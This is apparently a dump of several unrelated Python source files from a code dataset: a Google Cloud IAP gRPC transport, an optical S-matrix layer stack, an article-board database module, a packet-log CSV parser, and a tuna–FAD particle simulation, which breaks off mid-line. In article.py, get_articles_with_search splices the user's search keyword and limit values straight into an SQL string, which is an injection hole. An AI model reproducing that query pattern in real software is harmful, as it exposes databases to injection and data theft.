Callable[[~.CreateIdentityAwareProxyClientRequest],\n Awaitable[~.IdentityAwareProxyClient]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"create_identity_aware_proxy_client\" not in self._stubs:\n self._stubs[\n \"create_identity_aware_proxy_client\"\n ] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/CreateIdentityAwareProxyClient\",\n request_serializer=service.CreateIdentityAwareProxyClientRequest.serialize,\n response_deserializer=service.IdentityAwareProxyClient.deserialize,\n )\n return self._stubs[\"create_identity_aware_proxy_client\"]\n\n @property\n def list_identity_aware_proxy_clients(\n self,\n ) -> Callable[\n [service.ListIdentityAwareProxyClientsRequest],\n Awaitable[service.ListIdentityAwareProxyClientsResponse],\n ]:\n r\"\"\"Return a callable for the list identity aware proxy\n clients method over gRPC.\n\n Lists the existing clients for the brand.\n\n Returns:\n Callable[[~.ListIdentityAwareProxyClientsRequest],\n Awaitable[~.ListIdentityAwareProxyClientsResponse]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"list_identity_aware_proxy_clients\" not in self._stubs:\n self._stubs[\n \"list_identity_aware_proxy_clients\"\n ] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/ListIdentityAwareProxyClients\",\n request_serializer=service.ListIdentityAwareProxyClientsRequest.serialize,\n response_deserializer=service.ListIdentityAwareProxyClientsResponse.deserialize,\n )\n return self._stubs[\"list_identity_aware_proxy_clients\"]\n\n @property\n def get_identity_aware_proxy_client(\n self,\n ) -> Callable[\n [service.GetIdentityAwareProxyClientRequest],\n Awaitable[service.IdentityAwareProxyClient],\n ]:\n r\"\"\"Return a callable for the get identity aware proxy\n client method over gRPC.\n\n Retrieves an Identity Aware Proxy (IAP) OAuth client.\n Requires that the client is owned by IAP.\n\n Returns:\n Callable[[~.GetIdentityAwareProxyClientRequest],\n Awaitable[~.IdentityAwareProxyClient]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"get_identity_aware_proxy_client\" not in self._stubs:\n self._stubs[\n \"get_identity_aware_proxy_client\"\n ] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/GetIdentityAwareProxyClient\",\n request_serializer=service.GetIdentityAwareProxyClientRequest.serialize,\n response_deserializer=service.IdentityAwareProxyClient.deserialize,\n )\n return self._stubs[\"get_identity_aware_proxy_client\"]\n\n @property\n def reset_identity_aware_proxy_client_secret(\n self,\n ) -> Callable[\n [service.ResetIdentityAwareProxyClientSecretRequest],\n Awaitable[service.IdentityAwareProxyClient],\n ]:\n r\"\"\"Return a callable for the reset identity aware proxy\n client secret method over gRPC.\n\n Resets an Identity Aware Proxy (IAP) OAuth client\n secret. Useful if the secret was compromised. Requires\n that the client is owned by IAP.\n\n Returns:\n Callable[[~.ResetIdentityAwareProxyClientSecretRequest],\n Awaitable[~.IdentityAwareProxyClient]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"reset_identity_aware_proxy_client_secret\" not in self._stubs:\n self._stubs[\n \"reset_identity_aware_proxy_client_secret\"\n ] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/ResetIdentityAwareProxyClientSecret\",\n request_serializer=service.ResetIdentityAwareProxyClientSecretRequest.serialize,\n response_deserializer=service.IdentityAwareProxyClient.deserialize,\n )\n return self._stubs[\"reset_identity_aware_proxy_client_secret\"]\n\n @property\n def delete_identity_aware_proxy_client(\n self,\n ) -> Callable[\n [service.DeleteIdentityAwareProxyClientRequest], Awaitable[empty_pb2.Empty]\n ]:\n r\"\"\"Return a callable for the delete identity aware proxy\n client method over gRPC.\n\n Deletes an Identity Aware Proxy (IAP) OAuth client.\n Useful for removing obsolete clients, managing the\n number of clients in a given project, and cleaning up\n after tests. Requires that the client is owned by IAP.\n\n Returns:\n Callable[[~.DeleteIdentityAwareProxyClientRequest],\n Awaitable[~.Empty]]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if \"delete_identity_aware_proxy_client\" not in self._stubs:\n self._stubs[\n \"delete_identity_aware_proxy_client\"\n ] = self.grpc_channel.unary_unary(\n \"/google.cloud.iap.v1.IdentityAwareProxyOAuthService/DeleteIdentityAwareProxyClient\",\n request_serializer=service.DeleteIdentityAwareProxyClientRequest.serialize,\n response_deserializer=empty_pb2.Empty.FromString,\n )\n return self._stubs[\"delete_identity_aware_proxy_client\"]\n\n def close(self):\n return self.grpc_channel.close()\n\n\n__all__ = (\"IdentityAwareProxyOAuthServiceGrpcAsyncIOTransport\",)\n","sub_path":"packages/google-cloud-iap/google/cloud/iap_v1/services/identity_aware_proxy_o_auth_service/transports/grpc_asyncio.py","file_name":"grpc_asyncio.py","file_ext":"py","file_size_in_byte":22256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"255431637","text":"import numpy as np\nfrom star_product import *\nfrom smat_oparations import *\n\nclass Layer:\n \"\"\"\n Parrent class of Meta- and NonMetaLayer, contains information about\n which symmetry opperations will be applied.\n \"\"\"\n\n def __init__(self):\n self.mirror_bool = False\n self.flip_bool = False\n self.angle = 0\n\n def flip(self):\n self.flip_bool = True\n return\n\n def mirror(self):\n self.mirror_bool = True\n\n def rotate(self, angle):\n self.angle = angle\n\n\n\nclass MetaLayer(Layer):\n \"\"\"\n Class to describe a Meta-Surface in the Stack\n\n Parameters\n ----------\n s_mat : the 4x4 S-Matrix of the Meta-Layer, externally simulated/measured\n cladding : vector containing the refraction indices of the cladding\n substrate : vector containing the refraction indices of the substrate\n \"\"\"\n def __init__(self, s_mat, cladding, substrate):\n Layer.__init__(self)\n self.s_mat = s_mat\n self.cladding = cladding\n self.substrate = substrate\n\nclass NonMetaLayer(Layer):\n \"\"\"\n Class to describe a homogenous isotropic or anisotropic Layer\n\n Parameters\n ----------\n height : height in (μm)\n n_vec : one or two vactors containing the diffraction indeces\n if one vector is given homogenous behavior will be assumed\n \"\"\"\n def __init__(self, height, *n_vec):\n Layer.__init__(self)\n self.height = height\n self.height_len = np.size(self.height)\n self.n_x = n_vec[0]\n #isotropic material\n if len(n_vec) == 1:\n self.n_y = self.n_x\n #anisotropic material\n elif len(n_vec) == 2:\n self.n_y = n_vec[1]\n else:\n raise ValueError(\"input 1 or 2 refrectiv index vectors\")\n\n\n\nclass Stack:\n \"\"\"\n Class to describe the whole Stack, contains information about cladding,\n substrate and further options.\n\n Parameters\n ----------\n layer_list : list of Layer objects\n wav_vec : vector\n The target wavelengths where the Meta-Surface was simulated/\n measured\n cladding : vector\n The refrectiv indeces of the material on top of the stack,\n if the input is a single float n_i wavelength independent\n behavior will be assumed.\n substrate : vectors\n The refractiv indeces of the material below the stack\n\n \"\"\"\n def __init__(self, layer_list, wav_vec, cladding, substrate):\n\n self.layer_list = layer_list\n self.cladding = cladding\n self.substrate = substrate\n self.wav_vec = wav_vec\n self.wav_vec_len = len(self.wav_vec)\n self.geo_bool = False\n self.geo_order = 5\n\n def create_propagator(self, layer):\n \"\"\"\n Creates the propergator S-Matrix\n\n Parameters\n ----------\n layer : NonMetaLayer or MetaLayer object\n\n Returns\n -------\n s_mat : Lx4x4 S-Matrix\n \"\"\"\n if type(layer) is NonMetaLayer:\n\n s_mat = np.zeros((layer.height_len, self.wav_vec_len,4,4)).astype(complex)\n prop_x = np.exp(2j*np.pi* np.outer(layer.height, layer.n_x/self.wav_vec).squeeze())\n prop_y = np.exp(2j*np.pi* np.outer(layer.height, layer.n_y/self.wav_vec).squeeze())\n s_mat[:,:,0,0] = prop_x\n s_mat[:,:,1,1] = prop_y\n s_mat[:,:,2,2] = prop_x\n s_mat[:,:,3,3] = prop_y\n\n elif type(layer) is MetaLayer:\n s_mat = layer.s_mat.reshape((1,self.wav_vec_len,4,4))\n else:\n raise ValueError(\"Stack has to consist of Mata and \\\n NonMetaLayers\")\n #apply symmetry opperations\n if layer.mirror_bool:\n s_mat = mirror_smat(s_mat)\n if layer.flip_bool:\n s_mat = flip_smat(s_mat)\n if layer.angle != 0:\n s_mat = rot_smat(s_mat, layer.angle)\n\n return s_mat\n\n def create_interface(self, l_2, l_1):\n \"\"\"\n Creates the interface S-Matrix for the transmission\n between two Layers\n\n Parameters\n ----------\n l_1 , l_2: NonMetaLayer or MetaLayer Objects\n\n Returns\n -------\n s_mat : Lx4x4 S-Matrix\n \"\"\"\n\n #load n_* from the Layers\n if (type(l_1) is NonMetaLayer):\n n1_x = l_1.n_x\n n1_y = l_1.n_y\n else:\n n1_x = l_1.substrate\n n1_y = l_1.substrate\n\n if(type(l_2) is NonMetaLayer) :\n n2_x = l_2.n_x\n n2_y = l_2.n_y\n else:\n n2_x = l_2.cladding\n n2_y = l_2.cladding\n\n #transmission and reflection in x and y direction\n\n s_mat_list = np.zeros((self.wav_vec_len,4,4)).astype(complex)\n #Transmission\n s_mat_list[:,0,0] = 2*n1_x/(n1_x + n2_x)\n s_mat_list[:,1,1] = 2*n1_y/(n1_y + n2_y)\n s_mat_list[:,2,2] = 2*n2_x/(n1_x + n2_x)\n s_mat_list[:,3,3] = 2*n2_y/(n1_y + n2_y)\n #Reflection\n R_x = (n1_x - n2_x)/(n1_x + n2_x)\n R_y = (n1_y - n2_y)/(n1_y + n2_y)\n s_mat_list[:,0,2] = R_x\n s_mat_list[:,1,3] = R_y\n s_mat_list[:,2,0] = -1*R_x\n s_mat_list[:,3,1] = -1*R_y\n \"\"\"\n This Operrator is constructed:\n [T_x , 0 , R_x, 0],\n [ 0 , T_y , 0, R_y],\n [-1*R_x, 0 , T_x, 0 ],\n [ 0 ,-1*R_y, 0 , T_y ]\n \"\"\"\n return s_mat_list.reshape((1,self.wav_vec_len,4,4))\n\n def create_interface_rot(self, l_2, l_1):\n \"\"\"\n Creates the interface S-Matrix for the transmission between\n two Layers in case of rotation, uses create_interface\n\n Parameters\n ----------\n l_1 , l_2: NonMetaLayer or MetaLayer Objects\n\n Returns\n -------\n s_mat : Lx4x4 S-Matrix\n \"\"\"\n vacuum_layer = NonMetaLayer(0, np.ones(self.wav_vec_len))\n s_mat1 = self.create_interface(vacuum_layer, l_2)\n s_mat2 = self.create_interface(l_1, vacuum_layer)\n s_mat = star_product_analyt(rot_smat(s_mat1, l_2.angle),\n rot_smat(s_mat2, l_1.angle))\n return s_mat\n\n\n\n def build(self):\n \"\"\"\n Builds all the propagation and interface matrices and multiplies them.\n\n Returns\n -------\n s_mat : Lx4x4 S-matrix describing the whole stack\n \"\"\"\n\n #Create Layer-Objects for the cladding and substrate\n clad_layer = NonMetaLayer(None, self.cladding)\n subs_layer = NonMetaLayer(None, self.substrate)\n\n #add the substrate layer to the back\n self.layer_list.append(subs_layer)\n\n #create interface between the cladding and the first layer\n inter = self.create_interface(clad_layer, self.layer_list[0])\n s_mat_list = [inter]\n for i in range(len(self.layer_list) - 1):\n\n current_layer = self.layer_list[i]\n next_layer = self.layer_list[i+1]\n\n prop = self.create_propagator(current_layer)\n\n #This can be further optimized by a better differentiation between\n #the cases\n if (current_layer.angle != 0) or (next_layer.angle != 0):\n inter = self.create_interface_rot(current_layer, next_layer)\n else:\n inter = self.create_interface(current_layer, next_layer)\n\n s_mat_list.append(prop)\n s_mat_list.append(inter)\n #end building loop\n if self.geo_bool:\n s_out = star_product_cascaded_geo(s_mat_list, self.geo_order).squeeze()\n else:\n s_out = star_product_cascaded(s_mat_list).squeeze()\n return s_out\n","sub_path":"stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":7678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"311227483","text":"from uuid import UUID\n\nimport constants.messages\nfrom connector import MySQL\nfrom constants import messages\n\n\ndef if_article_exist(article_id: int):\n sql = MySQL()\n if sql.query('SELECT COUNT(*) FROM article WHERE id=%s', (article_id, ))[0][0] == 1:\n return True\n else:\n return False\n\n\ndef get_articles(user_uuid: UUID, address: str, article_type: str, article_category: str, start_idx: int, end_idx: int):\n sql = MySQL(dict_cursor=True)\n\n if article_type != 'None' and article_category != 'None':\n pre_result = list(sql.query(\"SELECT id, title, cost, image, submitter, reg_date, is_visible \"\n \"FROM article WHERE address=%s AND article_type=%s \"\n \"AND article_category=%s ORDER BY reg_date asc LIMIT %s, %s\",\n (address, article_type, article_category, int(start_idx), int(end_idx))))\n else:\n pre_result = list(sql.query(\"SELECT id, title, cost, image, submitter, reg_date, is_visible \"\n \"FROM article WHERE address=%s ORDER BY reg_date asc LIMIT %s, %s\",\n (address, int(start_idx), int(end_idx))))\n result = list()\n\n for i in pre_result:\n if bool(i['is_visible']):\n if i['image'] is None or i['image'] == \"\":\n i['image'] = \"no image\"\n i['submitter'] = sql.query('SELECT nickname FROM account WHERE uuid=%s',\n (UUID(bytes=i['submitter']).bytes, ))[0]['nickname']\n if sql.query('SELECT COUNT(*) FROM fork WHERE uuid=%s AND article_id=%s', (user_uuid.bytes, i['id']))[0]['COUNT(*)']:\n i['fork'] = 'active'\n else:\n i['fork'] = 'unactive'\n\n result.append(i)\n\n return True, result\n\n\ndef get_article(article_id: int):\n sql = MySQL(dict_cursor=True)\n\n result = sql.query('SELECT id, title, submitter, address, image, cost, content, '\n 'remain_time, max_num, article_type, article_category, reg_date, is_visible, views '\n 'FROM article WHERE id=%s', (article_id, ))\n\n if len(result) == 0:\n return False, None\n\n result = result[0]\n\n seller_info = sql.query('SELECT nickname, image, rate FROM account WHERE uuid=%s',\n (UUID(bytes=result['submitter']).bytes,))[0]\n result['submitter_image'] = seller_info['image']\n result['submitter'] = seller_info['nickname']\n result['submitter_result'] = seller_info['rate']\n\n if result['image'] is None or result['image'] == \"\":\n result['image'] = \"no image\"\n\n if result['submitter_image'] is None or result['submitter_image'] == \"\":\n result['submitter_image'] = \"no image\"\n\n if not bool(result['is_visible']):\n return False, None\n\n else:\n sql.transaction.start()\n try:\n sql.query('UPDATE article SET views = views + 1 WHERE id=%s', (article_id, ))\n except Exception as e:\n print(e)\n else:\n sql.transaction.commit()\n return True, result\n\n\ndef get_articles_with_search(keyword: str, start_idx: int, end_idx: int):\n sql = MySQL(dict_cursor=True)\n\n return {'success': True}, list(sql.query(f\"SELECT id, title, HEX(submitter) submitter, reg_date, last_modified, is_notify, views FROM article \"\n f\"WHERE is_visible=1 AND title regexp '{keyword}' \"\n f\"ORDER BY reg_date asc LIMIT {start_idx}, {end_idx}\"))\n\n\ndef delete_article(article_id: int):\n sql = MySQL()\n\n result = sql.query('SELECT submitter FROM article WHERE id=%s', (article_id, ))\n\n if len(result) == 0:\n return False, constants.messages.article_no_exists, 404\n\n sql.transaction.start()\n try:\n sql.query('DELETE FROM article WHERE id=%s', (article_id, ))\n except:\n sql.transaction.rollback()\n return False, constants.messages.exception_occurred, 403\n else:\n sql.transaction.commit()\n return True, None, 200\n\n\ndef create_article(title=None, submitter: UUID = None, address=None, image=None, cost=None,\n content=None, remain_time=None, max_num=None, article_type=None, article_category=None):\n sql = MySQL()\n\n if title is None or submitter is None or address is None or cost is None:\n return False, messages.no_required_args, 400\n if remain_time is None or max_num is None or article_type is None or article_category is None:\n return False, messages.no_required_args, 400\n\n if image is None:\n image = ''\n if content is None:\n content = ''\n\n sql.transaction.start()\n try:\n sql.query('INSERT INTO article '\n '(title, submitter, address, image, cost, content, remain_time, '\n 'max_num, article_type, article_category) '\n 'VALUE (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)',\n (title, submitter.bytes, address, image, cost, content, remain_time,\n max_num, article_type, article_category))\n except:\n sql.transaction.rollback()\n return False, messages.exception_occurred, 500\n else:\n inserted = sql.query('SELECT LAST_INSERT_ID()')[0][0]\n sql.transaction.commit()\n return True, inserted, 200\n\n\ndef make_fork(user_uuid: UUID, article_id: int):\n sql = MySQL()\n\n sql.transaction.start()\n try:\n sql.query('INSERT INTO fork (uuid, article_id) VALUE (%s, %s)', (user_uuid.bytes, article_id, ))\n except Exception as e:\n print(e)\n return False, {'message': \"fork_fail\"}, 500\n else:\n sql.transaction.commit()\n return True, None, 200\n","sub_path":"oasis_hackathon_server/methods/article.py","file_name":"article.py","file_ext":"py","file_size_in_byte":5783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"329941193","text":"# -*-coding:Latin-1 -*\n\nimport re\nimport pandas as pd\n\n\n\n#def create_df_tx(data_file_tx):\n\n#def create_df_rx(data_file_tx, data_file_ack_rx):\n\n#def fill_succes_tx(df_tx, df_rx):\n\n \ndef create_df_tx(data_file_tx):\n df = pd.DataFrame(columns=('time', 'addr', 'comp','asn', 'statType', 'trackinstance', 'trackowner', 'length', 'frameType', 'slotOffset', 'frequency', 'l2Dest', 'txpower', 'numTxAttempts', 'queuePos','succes_rx', 'succes_ack', 'list_rx'))\n\n i=0\n with open(data_file_tx, \"r\") as f_tx:\n for line in f_tx:\n df.loc[i]=[get_time(line), \n get_addr(line), \n get_comp(line), \n get_asn(line), \n get_statType(line), \n get_trackinstance(line), \n get_trackowner(line), \n get_length(line), \n get_frameType(line), \n get_slotOffset(line), \n get_frequency(line), \n get_l2Dest(line), \n get_txpower(line), \n get_numTxAttempts(line),\n get_queuePos(line),\n 0,\n 0,\n \"\"]\n i+=1\n \n df.to_csv('data_csv/pkt_tx.csv',index=False)\n\n \n \ndef create_df_rx(data_file_tx, data_file_ack_rx):\n i=0\n df = pd.DataFrame(columns=('time', 'addr', 'comp','asn', 'statType', 'trackinstance', 'trackowner',\n 'length', 'frameType', 'slotOffset', 'frequency', 'l2Src', 'rssi', \n 'lqi', 'crc', 'queuePos', 'ACK_RX'))\n with open(data_file_tx, \"r\") as f_rx:\n for line in f_rx:\n df.loc[i]=[get_time(line), \n get_addr(line), \n get_comp(line), \n get_asn(line), \n get_statType(line), \n get_trackinstance(line), \n get_trackowner(line), \n get_length(line), \n get_frameType(line), \n get_slotOffset(line), \n get_frequency(line), \n get_l2Src(line), \n get_rssi(line), \n get_lqi(line),\n get_crc(line),\n get_queuePos(line),\n 0]\n i+=1\n \n with open(data_file_ack_rx, \"r\") as f_rx:\n for line in f_rx:\n #pour chaque ligne on met la variable ack de la rx associée a 1\n #si il existe une rx associée a l'ack\n df.loc[(df['asn']==get_asn(line)) & (df['l2Src'].str.endswith(get_addr(line))), \"ACK_RX\" ] = 1\n \n \n df.to_csv('data_csv/pkt_rx.csv',index=False)\n \n \ndef fill_succes_tx(df_tx, df_rx):\n i=0\n j=0\n asn_tx = 0\n src_tx = \"\"\n dest_tx = \"\"\n list_addr_rx = []\n list_index = []\n\n # pour tous les tx\n for i in range(len(df_tx)):\n #on regarde si la tx est recu | cad si des rx ont eu lieu au meme asn\n asn_tx = df_tx.iloc[i][\"asn\"]\n src_tx = df_tx.iloc[i][\"addr\"]\n dest_tx = df_tx.iloc[i][\"l2Dest\"]\n\n list_addr_rx = df_rx.loc[ (df_rx['asn']==asn_tx) & (df_rx['l2Src'].str.endswith(src_tx)) ][\"addr\"].values.tolist()\n df_tx.set_value(i,\"list_rx\",list_addr_rx)\n if len(list_addr_rx)>0:\n df_tx.set_value(i,\"succes_rx\",1)\n\n list_index = df_rx.loc[ (df_rx['asn']==asn_tx) & (df_rx['l2Src'].str.endswith(src_tx)) ].index.tolist()\n j=0\n for j in list_index:\n if df_rx.iloc[j][\"ACK_RX\"] == '1':\n df_tx.set_value(i,\"succes_ack\",1)\n \n df_tx.to_csv('data_csv/pkt_tx.csv',index=False)\n\n ","sub_path":"analyse_gaetan/func_parsing_csvfile.py","file_name":"func_parsing_csvfile.py","file_ext":"py","file_size_in_byte":3752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"259420607","text":"import numpy as np\n\nfrom parcels import FieldSet, Field\nfrom parcels import ParticleSet\nfrom parcels import Variable\nfrom parcels import ScipyParticle\n\nimport time as ostime\nimport sys\nti0 = ostime.time()\n\nimport tunaFADpreykernels as pk\n\ndef create_preyfieldRW(lx, ly, res, nprey=100000, Pavg = float(sys.argv[9])):\n # Randomly distribute the prey over the grid\n # Pavg is the average number of prey per grid cell\n dataP = np.zeros(((ly//res)+2, (lx//res)+2))\n gc = (ly/res)*(lx/res) \n add = 1 * gc / nprey * Pavg\n for n in range(nprey):\n i = np.random.randint(1,dataP.shape[0]-1)\n j = np.random.randint(1,dataP.shape[1]-1)\n dataP[i,j] += add\n assert dataP.max() <= 1\n assert dataP.min() >= 0\n return dataP\n\ndef create_preyfieldDG(lx, ly, res, nprey=int(1e5), Pavg = float(sys.argv[9])):\n # Randomly distribute the prey over the grid\n dataP = np.zeros(((ly//res)+2, (lx//res)+2))\n gc = (ly/res)*(lx/res) \n add = 1 * gc / nprey * Pavg\n for n in range(nprey):\n bo = True\n co = 0\n while(bo):\n co += 1\n i = 1 + np.random.binomial(dataP.shape[0]-2, 0.5)\n j = 1 + np.random.binomial(dataP.shape[1]-2, 0.3)\n if(dataP[i,j]<=1-add):\n dataP[i,j] += add\n bo = False\n elif(co==10):\n bo = False\n # normalize the field\n assert dataP.max() <= 1\n assert dataP.min() >= 0\n return dataP\n\ndef create_preyfieldBJ(lx, ly, res, nprey=int(1e5), Pavg = float(sys.argv[9])):\n # Randomly distribute the prey over the grid\n dataP = np.zeros(((ly//res)+2, (lx//res)+2))\n gc = (ly/res)*(lx/res) \n add = 1 * gc / nprey * Pavg\n for n in range(nprey):\n i = 1 + np.random.binomial(dataP.shape[0]-2, 0.5)\n j = np.random.randint(1,dataP.shape[1]-1)\n dataP[i,j] += add\n assert dataP.max() <= 1\n assert dataP.min() >= 0\n return dataP\n\nif(__name__=='__main__'):\n lx = 140 # habitat length (km)\n ly = int(lx/2) # habitat width (km)\n assert lx%2==0\n assert ly%2==0, 'if prey binomial distribution'\n nfad = int(sys.argv[2]) # number of FADs\n ntuna = int(sys.argv[3]) # number of tuna\n\n npart = ntuna + nfad + 1 # total number of particles\n seed = int(sys.argv[1])\n np.random.seed(seed) # seeding of Monte Carlo simulations\n\n # Set the initial locations of the particles\n X = np.random.uniform(0, lx, npart)\n Y = np.random.uniform(0, ly, npart)\n\n assert (X<=lx).all()\n assert (Y<=ly).all()\n \n # Flow field configuration\n # BJ: Bickley Jet\n # DG: Double Gyre\n # RW: Random Walk\n ff = 'BJ'\n assert ff in ['RW', 'DG', 'BJ']\n\n # define the particle types: tuna particle is 0, dFAD particle is 1\n ptype = np.zeros(npart)\n # The zeroth particle is only used in fishing strategy FS1.\n # This is article does nothing, but is only located at a random\n # tuna particle before a fishing event, where it acts as a dFAD.\n ptype[:nfad + 1] = 1\n\n # Define a fieldset without flow\n res = 10 # resolution of the field\n if(ff=='RW'):\n dataP = create_preyfieldRW(lx, ly, res)\n if(ff=='DG'):\n dataP = create_preyfieldDG(lx, ly, res)\n if(ff=='BJ'):\n dataP = create_preyfieldBJ(lx, ly, res)\n gridx, gridy = np.meshgrid(np.arange(-res,lx+res,res), np.arange(-res,ly+res,res))\n gridx = np.array(gridx) + 0.5*res\n gridy = np.array(gridy) + 0.5*res\n fieldset = FieldSet.from_data({'U': np.zeros(dataP.shape), 'V': np.zeros(dataP.shape)},\n {'lon': gridx, 'lat': gridy},\n mesh='flat')\n\n # add constant to fieldset, used in FaugerasDiffusion Kernel\n # to determine the strength of displacement due to prey field\n fieldset.add_constant('gres',res)\n fieldset.add_constant('flowtype',ff)\n # Create the field of tuna prey\n assert ly%res==0\n assert lx%res==0\n fieldP = Field('prey', dataP, grid=fieldset.U.grid,\n interp_method='nearest', mesh='flat')\n fieldset.add_field(fieldP) # prey field added to the velocity FieldSet\n fieldset.prey.to_write = False # enabling the writing of Field prey during execution\n\n if(nfad>0):\n # Add lists (which are added as an interactive field here)\n # These keep track of the FAD order from FADs with many associated \n # tuna to FADs with little associated tuna\n # only needed when p>0 in the fishing strategy\n fieldF = Field('FADorders', np.arange(nfad), lon=np.arange(nfad), lat=np.array([0]), time=np.array([0]),\n interp_method='nearest', mesh='flat', allow_time_extrapolation=True)\n fieldset.add_field(fieldF) # prey field added to the velocity FieldSet\n fieldset.FADorders.to_write = False # enabling the writing of Field prey during execution\n # FAD number where fish is caught\n fieldF = Field('FADc', np.array([0]), lon=np.array([0]), lat=np.array([0]), time=np.array([0]),\n interp_method='nearest', mesh='flat', allow_time_extrapolation=True)\n fieldset.add_field(fieldF) # prey field added to the velocity FieldSet\n fieldset.FADc.to_write = False # enabling the writing of Field prey during execution\n\n # list that determines at which tuna particle to fish\n # under fishing strategy FS1\n fieldFe = Field('fe', np.array([0]), lon=np.array([0]), lat=np.array([0]), time=np.array([0]),\n interp_method='nearest', mesh='flat', allow_time_extrapolation=True)\n fieldset.add_field(fieldFe) # prey field added to the velocity FieldSet\n fieldset.FADc.to_write = False # enabling the writing of Field prey during execution\n\n # Set the parameters for the model:\n # general\n # Taxis coefficients\n fieldset.add_constant(\"kappaT\", float(sys.argv[4]))\n fieldset.add_constant(\"kappaF\", float(sys.argv[5]))\n fieldset.add_constant(\"kappaP\", float(sys.argv[6]))\n fieldset.add_constant(\"kappaI\", float(sys.argv[7]))\n max_interaction_distance = 10\n print('realistic FAD-tuna interaction distance is around 10km (7Nm), now (km):',max_interaction_distance)\n fieldset.add_constant(\"RtF\", 2.) # FAD association radius (km)\n fieldset.add_constant(\"Rtt\", 3.) # tuna-tuna max interaction distance (km)\n scale = 300\n fieldset.add_constant(\"epsP\", 12/(24*3600)/scale) # prey depletion by tuna (per second)\n fieldset.add_constant(\"Td\", 2/(24*3600)/scale) # tuna gastric evacuation rate\n fieldset.add_constant(\"scaleD\", scale) # scale tuna gastric evacuation rate\n\n fieldset.add_constant(\"epsT\", 0.5) # Fraction of associated tuna caught\n p = float(sys.argv[8])\n fieldset.add_constant(\"p\", p) # p parameter of the geometric distribution\n fieldset.add_constant(\"nfad\", nfad) # total number of FADs\n fieldset.add_constant(\"ntuna\", ntuna) # total number of tuna particles\n # Set a maximum tuna swimming velocity\n fieldset.add_constant(\"Vmax\", (0.4 / 1000)) # km/s\n # the domain\n fieldset.add_constant(\"Lx\", lx)\n fieldset.add_constant(\"Ly\", ly)\n # Determines concentration parameter of von Mises'\n fieldset.add_constant(\"alpha\", 3.) # swimming towards prey\n fieldset.add_constant(\"gamma\", 2.) # swimming towards other tuna\n\n # Random walk flow:\n if(ff=='RW'):\n fieldset.add_constant_field(\"Kh_zonalF\", 0.05/1000, mesh=\"flat\") # in km/s\n fieldset.add_constant_field(\"Kh_meridionalF\", 0.05/1000, mesh=\"flat\") # in km/s\n fieldset.add_constant_field(\"Kh_zonalT\", 0.1/1000, mesh=\"flat\") \n fieldset.add_constant_field(\"Kh_meridionalT\", 0.05/1000, mesh=\"flat\") \n\n # Parameters of the Logistic curve, which determines\n # the dependence of FAD attraction strength on the number \n # of associated tuna\n fieldset.add_constant(\"lL\", 1.) # maximum of logistic curve\n fieldset.add_constant(\"lk\", 0.35) # steepness of logistic curve\n fieldset.add_constant(\"lx0\", 12) # value of the sigmoid midpoint\n # And for the vp\n fieldset.add_constant(\"pL\", 2.5) # maximum of logistic curve\n\n # Parameter for the Bickley Jet flow\n if(ff=='BJ'):\n fieldset.add_constant(\"Ubj\", (.1 / 1000)) # maximum flow strength (km/s)\n\n # Parameters for the double gyre flow\n if(ff=='DG'):\n fieldset.add_constant(\"A\", (0.05 / 1000)) # flow strength\n fieldset.add_constant(\"omega\", 2*np.pi/ (10*24*60*60)) # frequency of one oscillation (per second)\n fieldset.add_constant(\"epsDG\", 0.2) # \n\n # Create custom particle class with extra variable that indicates\n # whether the interaction kernel should be executed on this particle.\n class TFParticle(ScipyParticle):\n ptype = Variable('ptype', dtype=int, to_write='once')\n caught = Variable('caught', dtype=float, initial=0)\n mlon = Variable('mlon', dtype=float, to_write=False, initial=0)\n mlat = Variable('mlat', dtype=float, to_write=False, initial=0)\n FADkap = Variable('FADkap', dtype=float, to_write=True, initial=1.)\n # To govern the displacement of particles (used for velocity normalization):\n dla = Variable('dla', dtype=float, to_write=False, initial=0.)\n dlo = Variable('dlo', dtype=float, to_write=False, initial=0.)\n gradx = Variable('gradx', dtype=float, to_write=False, initial=0.)\n grady = Variable('grady', dtype=float, to_write=False, initial=0.)\n # Stomach fullness:\n St = Variable('St', dtype=float, to_write=False, initial=0.5)\n Sta = Variable('Sta', dtype=float, to_write=True, initial=0)\n Stna = Variable('Stna', dtype=float, to_write=True, initial=0)\n Stac = Variable('Stac', dtype=float, to_write=True, initial=0)\n Stnac = Variable('Stnac', dtype=float, to_write=True, initial=0)\n\n print('number of FADs: ',np.sum((ptype==1)))\n pset = ParticleSet(fieldset=fieldset, pclass=TFParticle,\n lon=X, lat=Y,\n interaction_distance=max_interaction_distance,\n ptype=ptype)\n\n output_file = 